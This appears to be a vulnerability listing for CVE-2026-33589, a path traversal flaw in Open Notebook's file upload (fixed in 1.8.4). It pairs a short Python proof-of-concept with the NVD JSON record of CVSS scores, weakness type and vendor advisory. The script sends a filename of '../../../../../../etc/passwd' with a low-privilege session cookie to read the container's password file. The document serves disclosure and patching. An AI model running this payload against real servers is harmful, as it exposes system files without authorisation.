CVE-2026-33589

import requests # Target URL url = "http://target:port/api/upload" # Attacker's low privilege cookie/session cookies = { "session": "low_privilege_session_token" } # Path traversal payload in the filename parameter # Attempting to read /etc/passwd from the docker container payload_filename = "../../../../../../etc/passwd" files = { "file": (payload_filename, " malicious content") } response = requests.post(url, files=files, cookies=cookies) if response.status_code == 200 and "root:x" in response.text: print("[+] Exploit successful! Sensitive file content leaked.") print(response.text) else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-33589", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2026-05-07T11:16:01.150", "lastModified": "2026-05-07T19:49:40.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lack of user input validation in the file upload functionality of Open Notebook v1.8.3 allows the application user to access local files content from the docker container via path traversal."}], "metrics": {"cvssMetricV40": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfnovo:open-notebook:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.4", "matchCriteriaId": "29FD9785-0068-4D82-8528-DD40A74ECFC9"}]}]}], "references": [{"url": "https://github.com/lfnovo/open-notebook/security/advisories/GHSA-842v-h4cj-r646", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "tags": ["Mitigation", "Vendor Advisory"]}]}}